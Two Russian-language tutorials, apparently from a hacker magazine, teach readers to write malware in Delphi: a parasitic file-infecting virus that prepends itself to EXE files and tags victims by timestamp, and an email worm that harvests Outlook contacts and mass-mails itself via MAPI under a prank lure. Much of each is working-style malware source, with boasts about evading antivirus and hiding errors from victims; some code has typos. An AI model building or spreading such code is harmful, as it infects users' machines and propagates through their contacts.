HLLP вирус своими руками
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и «заражает» дальше.
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC — более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
— тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса |
MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
— заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
— будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса |
XORed часть ориг. проги |
Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
— parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
— вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу—> ждем завершения ее работы—> стираем «отработавший файл» (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).—> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr — это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize — размер кода программы. Остальное ясно из дальнейшего, кроме
infected — это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],’c:\windows\program.exe’,false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,’c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= ‘_’+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
— на Delphi.
Строчки эти — преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst (‘*.exe’,faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= ‘03.08.98 06:00:00’ then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime (‘03.08.98 06:00:00’)));
end;
end;
//Если вир запущен «чистым», т.е. не из зараженной про-граммы, то завершаемся
end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile — в WinAPI нет аналога — сопоставляет файл
с переменной типа File или TextFile
Reset — аналоги _lopen и CreateFile — открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite — _lcreate и CreateFile — создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead — _lread и ReadFile — читает в буфер
определенное количество данных из файла
BlockWrite — _lwrite и WriteFile — соответственно, пишет
данные в файл
SeekFile — _llseek и SetFilePointer — перемещает позицию
чтения/записи в открытом файле
CloseFile — _lclose и CloseHandle — закрывает открытый
файл
Erase — DeleteFile — удаление файла
FindFirst — FindFirstFile — поиск файла по критериям
FindNext — FindNextFile — поиск следующего файла
Источник
Червь своими руками
Сегодня я опишу тебе принцип работы сетевого вируса. Тема, как ты понял, весьма актуальная, поскольку 70% лично моего ящика всегда бывает забита вирусами самого разного пошиба
— от мелких, но злобных VBS-червей до полуторамеговых произведений младших школьников 🙂 Они-то ведь не знают про существование WinAPI 🙂
Для проникновения на компьютер вирусы могут либо использовать баги в ПО юзера (VBS+Outlook= love:)) либо- баги в голове самого юзера. Рассмотрим пример такого вирусного письма:
Subj: Прикол
Привет! Держи крутой прикол, который я тебе (или не тебе, не помню :)) Обещал. Но все равно держи. Не бойся, по-настоящему он ничего не форматирует!
Проверить не забудь, параноик 🙂
Успехов!
Attach: fake_format.exe
Ну так вот: каждый ламероватый интернетчик посылает своим друзьям приколы постоянно, и, соответственно, не очень-то помнит, кому чего обещал; сообщение о «ненастоящем форматировании» переключает мозги жертвы в русло приколов, а слепая вера в антивирусы
— добивает 🙂 Напомню — описанные мной алгоритмы не определяются никакими webами, avp и другими бойцами.
Короче, мне самому уже захотелось запустить этот веселенький прикол. Запускаю 🙂
Error. intel pentium 5 not found!
Ой.. Вроде как не работает? Не, не угадал 🙂 На самом деле вирус тут же перенес свое тело на хард к жертве, записался в автозагрузку, и теперь будет тусоваться в оперативочке (хинт: на медицинском жаргоне «оперативка»- это ОПЕРАТИВНАЯ ХИРУРГИЯ, так что будь осторожен ;)) жертвы по принципу, описанному мной в статье «резидентный вирус своими руками». Только вот проверять он будет не запуск файлов, а подключение к сети интернет 🙂 (в исходнике это будет процедура IsOnline, так, на будущее ;)). Впрочем, одновременно
мониторить запуск файлов тебе никто не мешает
— это все-таки вирус, хоть и сетевик. Поэтому в логику я включу процедуру InfectFile. Таким образом, мы будем использовать следующие функции и процедуры:
ISONLINE — проверка соединения с инетом
SENDVIRUS — догадайся с трех раз 😉
GETMAILS — получаем адреса из AddresBook аутглюка
INFECTFILES — 🙂
WORKMEMORY — почти то же, что в прошлой статье, но с модификациями.
До начала собственно кодига на этот раз необходимы будут долгие предварительные ласки 🙂 Объясняю почему: для чтения адресной книги мы будем обращаться к аутлуку по межпрограммному интерфейсу, а для этого нам нехило поиметь его type library. Вот и делай: projectа import type library, и ищи там…правильно, Outlook express v.9 или какой там у тебя стоит. Девятой считается версия, если не ошибаюсь, из Office2k. Импортировал? Что значит «нет в списке»? Да ладно, бывает. Ищи вручную
— в каталоге с офисом есть файл msoutl.olb. Это она 😉 Теперь в раздел uses пиши outlook_tlb и будешь иметь доступ к самым интимным местам адресной книги 🙂 Ой, какой-то я сегодня озабоченный 😉
В общем, процедура потрошения адресбука должна выглядеть как:
uses
ComObj, outlook_tlb,
Forms;
.
Procedure GETMAILS;
var
MyFolder, MSOutlook, MyNameSpace, MyItem: Variant; s: string;
num, i: Integer;
mails: array of string;
begin
MSOutlook := CreateOleObject(‘Outlook.Application’);
MyNameSpace := MSOutlook.GetNameSpace(‘MAPI’);
MyFolder := MyNamespace.GetDefaultFolder(olFolderContacts);
SetLength (mails,MyFilder.Items.Count);
for i := 1 to MyFolder.Items.Count do
begin
MyItem := MyFolder.Items[i];
mails[i]:= myitem.email1addres;
end;
Ну как, порадовало тебя написанное? Гы, дальше будет только хуже. Потому что отправка вируса будет на чистом API. А это, как говорит Horrific: «то же самое, что ручной секс. Эффект есть в обоих случаях, но его приходится долго добиваться и нет такого кайфа» 🙂 Ну
так что я тут понаписал? Uses Comobj позволяет нам работать с COM технологией; далее мы только создаем OLE объект аутлука, и циклически выясняем у него список емайлов. Если тебе хочется выяснить еще что-нибудь
— это тоже реально, читай доки — они рулез. Хоть и на английском. Список емайлов пишется в динамический массив из строчек. Его будет юзать функция SendVirus. Вот эта:
function SendVirus(const RecipName, RecipAddress, Subject, Attachment: string): Boolean;
var
MapiMessage: TMapiMessage;
MapiFileDesc: TMapiFileDesc;
MapiRecipDesc: TMapiRecipDesc;
i: integer;
s: string;
begin
with MapiRecipDesc do begin
ulRecerved:= 0;
ulRecipClass:= MAPI_TO;
lpszName:= PChar(RecipName);
lpszAddress:= PChar(RecipAddress);
ulEIDSize:= 0;
lpEntryID:= nil;
end;
with MapiFileDesc do begin
ulReserved:= 0;
flFlags:= 0;
nPosition:= 0;
lpszPathName:= PChar(Attachment);
lpszFileName:= nil;
lpFileType:= nil;
end;
with MapiMessage do begin
ulReserved := 0;
lpszSubject := nil;
lpszNoteText := PChar(Subject);
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @MapiRecipDesc;
if length(Attachment) > 0 then begin
nFileCount:= 1;
lpFiles := @MapiFileDesc;
end else begin
nFileCount:= 0;
lpFiles:= nil;
end;
end;
Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG
or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;
Ты не опух, пока это читал? Пойди, попей пивка, а то ничего не поймешь.
Выпил? Я тоже 😉 Хорошо, продолжаем. Юзать будешь так:
For i:= 1 to length (mails) do
begin
SendVirus (»,mails[i],’pricol’,’..’);
end;
Здесь мы задействуем функции uses MAPI, поэтому не забудь его объявить. Короче, это
— низкоуровневая работа с почтой. А для работы с почтой, как ты знаешь, надо иметь а)
email получателя б) текст письма в) аттач. Вот я и делаю:
MapiRecipDesc — описываю получателя, MapiFileDesc — аттач,
т.е. наш вирус, MapiMessage — это сообщение, потом я его командой MapiSendMail отправлю в большую жизнь 😉 Ну, не так это оказалось и сложно. Главное понять, что твой самый большой друг
— это не c:\porno, а win32.hlp 🙂
Как же теперь все это словоблудие уложить в суровую логику вируса? Сам разберешься, я тебе уже 2 статьи подряд об этом долблю. И вообще, я вчера отмечал день рождения моей девушки, теперь у меня слегка трещит голова 🙂 Ну ладно, чувство долга сильнее. Just Do It:
первой строчкой проверяешь имя файла, откуда ты стартовал. Если
pricol.exe — значит CopyFile к виндам 🙂 А если стартанул из виндового каталога
— то циклически проверяй подключение к всемирной 😉 сети. Проверяем:
function IsOnline: Boolean;
var
RASConn: TRASConn;
dwSize,dwCount: DWORD;
begin
RASConns.dwSize:= SizeOf(TRASConn);
dwSize:= SizeOf(RASConns);
Res:=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
Result:= (Res = 0) and (dwCount > 0);
end;
Так. Если все путем, то вперед — тряси адресную книгу и рассылайся . Тут есть две хитрости. Если твое имя
pricol.exe — незамедлительно проверяй соединение. Возможно, пользователь проверяет почту в онлайне. Так наши шансы на рассылку сильно возрастут. До второй хитрости ты уже допер сам,
а именно, при описанном мной раскладе ты будешь все время отправлять одному и тому же юзеру одинаковые письма, только потому, что его не стерли из адресбука. Следовательно, все отработанные адреса записывай в логфайл и постоянно с ним сверяйся. Вроде бы все. Хотя нет. Не забывай ошибкоопасные фрагменты кода заключать в try..except. И ставить ключ <$D->. Потому что если юзер вдруг поймает ошибку в духе «‘FUCK’ is not valid integer value», он что-то да заподозрит.
ЗАКЛЮЧЕНИЕ
Эта последняя статья про вирусы, отлаженные под windows 9x. Недавно я форматнул винт, и поставил WindowsXP Professional, поэтому следующие примеры будут уже под него. А ты уже можешь потихоньку покупать Delphi 7, поскольку я свои шестые где-то посеял, и сейчас сижу вообще голый 🙂 Покупать буду, соответственно, седьмые 😉
Следующая статья, наверное будет посвящена стеганографии и ее практической реализации.
Источник